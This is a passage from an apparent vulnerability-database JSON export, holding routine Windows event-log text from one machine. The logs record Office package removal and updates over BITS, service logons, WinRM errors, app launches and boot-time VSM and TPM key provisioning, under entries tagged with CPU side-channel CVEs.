deprovisioned\tInformation\tMicrosoft-Windows-Privacy-Auditing/Operational\tMicrosoft-Windows-Privacy-Auditing\n05.09.2026 09:16:53.054\t2415\tAn application was unregistered with the following parameters: Microsoft.Office.ActionsServer_8wekyb3d8bbwe!Microsoft.Office.ActionsServer [AppUserModelId] The operation completed successfully. [ErrorCode]\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:16:53.061\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:53.061\t617\tSuccessfully updated the status for package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe and user S-1-5-21-3712849175-2219398513-4278588552-1006 (Clear=0xFFFFFFFF, Set=0x0).\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.066\t41\tSuccessfully deleted AppContainer Microsoft.Office.ActionsServer_8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:16:53.091\t2562\t\tInformation\tApplication\tMicrosoft-Windows-AppXDeploymentServer/Operational\n05.09.2026 09:16:53.131\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:53.134\t818\tDetermining packages to be installed during logon for user: S-1-5-21-3712849175-2219398513-4278588552-1006.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.138\t400\tDeployment Remove operation with target volume C: on Package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe from:  (Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe)  finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.141\t472\tMoving package folder \\\\?\\C:\\Program Files\\WindowsApps\\Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe to \\\\?\\C:\\Program Files\\WindowsApps\\Deleted\\Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe21e230d2-de2e-443e-8514-9c932ad21344. Result: 0x0.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.152\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:54.669\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:54.672\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:56.928\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:16:56.928\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:16:56.965\t7040\tThe start type of the \u0424\u043e\u043d\u043e\u0432\u0430\u044f \u0438\u043d\u0442\u0435\u043b\u043b\u0435\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 (BITS) service was changed from \u0412\u0440\u0443\u0447\u043d\u0443\u044e to \u0410\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438.\tInformation\tSystem\tService Control Manager\n05.09.2026 09:16:56.975\t306\tThe BITS service loaded the job list from disk.\tVerbose\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:16:56.980\t145\tWSMan operation Enumeration started with resourceUri http://schemas.microsoft.com/wbem/wsman/1/config/listener\tInformation\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:16:57.771\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:00.107\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:01.067\t254\tActivity Transfer\tInformation\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:17:01.067\t161\t\u041a\u043b\u0438\u0435\u043d\u0442\u0443 \u043d\u0435 \u0443\u0434\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u043a \u0443\u0437\u043b\u0443 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u043c\u0443 \u0432 \u0437\u0430\u043f\u0440\u043e\u0441\u0435. \u0423\u0431\u0435\u0434\u0438\u0442\u0435\u0441\u044c, \u0447\u0442\u043e \u0441\u043b\u0443\u0436\u0431\u0430 \u043d\u0430 \u0443\u0437\u043b\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441\u044b. \u041e\u0437\u043d\u0430\u043a\u043e\u043c\u044c\u0442\u0435\u0441\u044c \u0441 \u0436\u0443\u0440\u043d\u0430\u043b\u0430\u043c\u0438 \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0435\u0439 \u0434\u043b\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0439 \u043d\u0430 \u0443\u0437\u043b\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0441\u043b\u0443\u0436\u0431\u044b WS-Management (\u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e \u044d\u0442\u043e IIS \u0438\u043b\u0438 WinRM). \u0415\u0441\u043b\u0438 \u044d\u0442\u043e \u0441\u043b\u0443\u0436\u0431\u0430 WinRM, \u0442\u043e \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u044d\u0442\u043e\u0439 \u0441\u043b\u0443\u0436\u0431\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c \u0443\u0437\u043b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \"winrm quickconfig\".\tError\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:17:01.067\t142\tWSMan operation Enumeration failed, error code 2150858770\tError\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:17:01.102\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-544\n\tGroup Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x379c\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:17:01.103\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-551\n\tGroup Name:\t\t\u041e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u0430\u0440\u0445\u0438\u0432\u0430\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x379c\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:17:01.259\t3\t\"The BITS service created a new job.\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {38a663b2-655a-4099-b6b9-05b5586514e3}\nOwner: HONOR-FRG-X\\admin\nProcess Path: C:\\Users\\admin\\AppData\\Local\\Temp\\Setup055E06B0-880E-4FE1-969E-58992B5940F0\\setup.exe\nProcess ID: 19332\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.268\t16403\t\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.465\t310\tThe initialization of the peer helper modules failed with the following error:  0x80070032.\tWarning\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.475\t59\tBITS started the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.581\t60\tBITS stopped transferring the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL. The status code is 0x0.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.583\t4\t\"The transfer job is complete.\nUser: HONOR-FRG-X\\admin\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {38a663b2-655a-4099-b6b9-05b5586514e3}\nOwner: HONOR-FRG-X\\admin\nFile count: 1\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.586\t3\t\"The BITS service created a new job.\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {6f42b80d-7019-4f62-b47c-c9cc61bf79ee}\nOwner: HONOR-FRG-X\\admin\nProcess Path: C:\\Users\\admin\\AppData\\Local\\Temp\\Setup055E06B0-880E-4FE1-969E-58992B5940F0\\setup.exe\nProcess ID: 19332\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.590\t16403\t\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.697\t59\tBITS started the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.856\t60\tBITS stopped transferring the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL. The status code is 0x0.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.858\t4\t\"The transfer job is complete.\nUser: HONOR-FRG-X\\admin\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {6f42b80d-7019-4f62-b47c-c9cc61bf79ee}\nOwner: HONOR-FRG-X\\admin\nFile count: 1\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:02.444\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:17.018\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:25.037\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:26.473\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:31.143\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:34.478\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:36.378\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:36.932\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:37.822\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:38.934\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:44.280\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:44.834\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:45.806\t8001\t\"Skipping license manager: PFN Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:17:45.820\t8001\t\"Skipping license manager: PFN Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:17:45.821\t219\tPSMFlags for Desktop AppX process %1 with applicationID %2 is %3.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:45.855\t210\tCreated Desktop AppX container {245CDFFE-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:45.855\t211\tAdded process 16932 to Desktop AppX container 245cdffe-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:45.857\t201\tCreated process 16932 for application Microsoft.ScreenSketch_8wekyb3d8bbwe!App in package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe. [LaunchProcess]\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:46.353\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:46.358\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"SnippingTool\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:51.490\t3055\tSome toast notifications have been cleared - informed session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.512\t2416\tA local notification was received from Microsoft.ScreenSketch_8wekyb3d8bbwe!App [AppUserModelId] with a 0 [NotificationId] through an application endpoint.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.518\t2418\tA local notification was submitted to threadpool: Microsoft.ScreenSketch_8wekyb3d8bbwe!App [AppUserModelId] toast [NotificationType] 9403 [NotificationTrackingId] Local [NotificationSource].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.523\t3052\tToast with notification tracking id 9403 is being delivered to Microsoft.ScreenSketch_8wekyb3d8bbwe!App on session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.527\t3153\tToast with notification tracking id 9403 is delivered to Microsoft.ScreenSketch_8wekyb3d8bbwe!App on session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.658\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n", "vulnerability": "CVE-2018-12126", "author": {"login": "automation"}}, {"uuid": "75c1c0be-c32b-4f6e-ae3b-d998588963b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:48:56.253034+00:00", "type": "seen", "source": "https://gist.github.com/fgh130/63d53080ee167c07046112e2e4ca57d8", "content": "Event Time\tEvent ID\tDescription\tLevel\tChannel\tProvider\n05.09.2026 08:28:48.091\t12\tThe operating system started at system time \u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:47.500000000Z.\tInformation\tSystem\tMicrosoft-Windows-Kernel-General\n05.09.2026 08:28:48.091\t25\t\"The system time was initialized to \u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:47.500000000Z. \n\nLoader time: \u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:46.000000000Z\nInternal boot flags: 0x2\nHAL RTC error code: 0x0\nRTC time is in UTC: false\nSoft boot: false\nSuccess: true\nPhase: 0\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-General\n05.09.2026 08:28:48.091\t153\tVirtualization-based security (policies: VBS Enabled,VSM Required,Boot Chain Signer Soft Enforced) is enabled due to HyperV.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t82\tTrace point: Function:SipaInsertTcgLog Point:0 Status:STATUS_SUCCESS\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t18\tThere are 0x1 boot options on this system.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t32\tThe bootmgr spent 0 ms waiting for user input.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t20\tThe last shutdown's success status was true. The last boot's success status was true.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t39\tHypervisor Load Options -  IGNOREMEMPART=1 .\tInformation\tMicrosoft-Windows-Hyper-V-Hypervisor-Admin\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.091\t156\tHypervisor initial page allocation NUMA policy: Proportional NUMA distribution\tInformation\tMicrosoft-Windows-Hyper-V-Hypervisor-Admin\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.091\t238\tEFI time zone bias: 2047. Daylight flags: 0. Firmware time: \u200e2026\u200e-\u200e09\u200e-\u200e05T08:28:46.000000000Z.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t85\t\"Read and Unseal Master Key Array Package Status\n\nStatus: STATUS_SUCCESS\nPrimarySealedBlobName: VsmLocalKey2\nSecondaryProtectorVariableName: VsmLocalKeyProtector\nBlobFromUefiVariableSize: 723\nUefiContentIsSealed: 1\nUnsealedBlobSize: 210\nPcr7SealingUsed: 1\nPkgTpmSealMaskLocal: 0x880\nPkgTpmCreationMaskLocal: 0x880\nNeedToResealKeyPkg: 0\nNeedToResealBackup: 0\nNeedToResealPca2023Backup: 0\nPlaintextBlobSize: 210\nPlaintextIsLegacyFormat: 0\nUefiBlobIsCorrupt: 0\nNewKeyID: 0\nVerifiedMicrosoftAuthority: 0\nContainsAuthorityData: 0\nBootmgrAuthorityEventCount: 0\nAuthority: 2\n\nSubstatus\n\nPrimaryBlobUnsealStatus: STATUS_SUCCESS\nBackupBlobUnsealStatus: STATUS_WAIT_1\nPca2023ProtectorUnsealStatus: STATUS_WAIT_1\nBackupBlobValidityCheckStatus: {Object Exists}\nAn attempt was made to create an object and the object name already existed.\nBackupBlobStillValid: true\nPca2023ProtectorValidityCheckStatus: STATUS_WAIT_1\nPca2023ProtectorStillValid: false\nPrimaryBlobResealStatus: STATUS_WAIT_1\nBackupBlobResealStatus: STATUS_WAIT_1\nPca2023ProtectorResealStatus: STATUS_WAIT_1\nV2ProtectorsUsed: 0\nLegacyUefiVarQueryStatus: STATUS_WAIT_1\nLegacyUefiVarCleanupStatus: STATUS_WAIT_1\nActivePolicyVersion: 0\nLatchedPolicyVersion: 0\nUnlatchedPolicyVersion: 0\n\"\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t80\tFASR Platform Verification. FASR cert present: 0. FASR cert signature validation status: 0x1. BootmgrAuthorityEventCount: 0x1. VerifiedMicrosoftAuthority: 1. FASR PCR values validation status: 0x1. PCR mismatch index: -1. FASR cert size: 0. FASR cert: . FASR signature size: 0. FASR signature: .\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t51\tVSM Master Encryption Key Provisioning. Using cached copy status: 0x0. Primary Blob Unseal Status: 0x0. Backup Blob Unseal Status: 0x1. Pca2023 Protector Unseal Status: 0x1. LostOemPk Protector Unseal Status: 0x1. Backup Blob Validity Check Status: 0x40000000. Backup Blob Validity Check Result: true. Pca2023 Protector Validity Check Status: 0x1. Pca2023 Protector Validity Check Result: false. Primary Blob Reseal Status: 0x1. Backup Blob Reseal Status: 0x1. Pca2023 Protector Reseal Status: 0x1. New key generation status: 0x1. Sealing status: 0x1. TPM PCR mask: 0x880. Tpm Counter validation status: 0x2. Tpm Counter creation status: 0x1. Backup sealed blob used: false. Pca2023 Protector cleaned up post upgrade status: 0x1.\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t45\tVSM Identity Key Provisioning. Unsealing cached copy status: 0xC0280018. New key generation status: 0x0. Measuring to PCR status: 0x0. Sealing and caching status: 0x0.\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t25\tThe boot menu policy was 0x1.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t27\tThe boot type was 0x0.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.099\t1\tHypervisor successfully started.\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.099\t2\tHypervisor scheduler type is 0x4.\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.099\t129\t\"Hypervisor initialized I/O remapping.\n\nHardware present: true\nHardware enabled: true\nPolicy: 0x0\nEnabled features: 0x63\nInternal information: 0x0\nProblems: 0x0\nAdditional information: 0x0\"\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.099\t156\t\"Hypervisor configured mitigations for CVE-2018-3646 for virtual machines.\n\nProcessor not affected: true\nProcessor family not affected: false\nProcessor supports cache flush: true\nHyperThreading enabled: false\nParent hypervisor applies mitigations: false\nMitigations disabled by 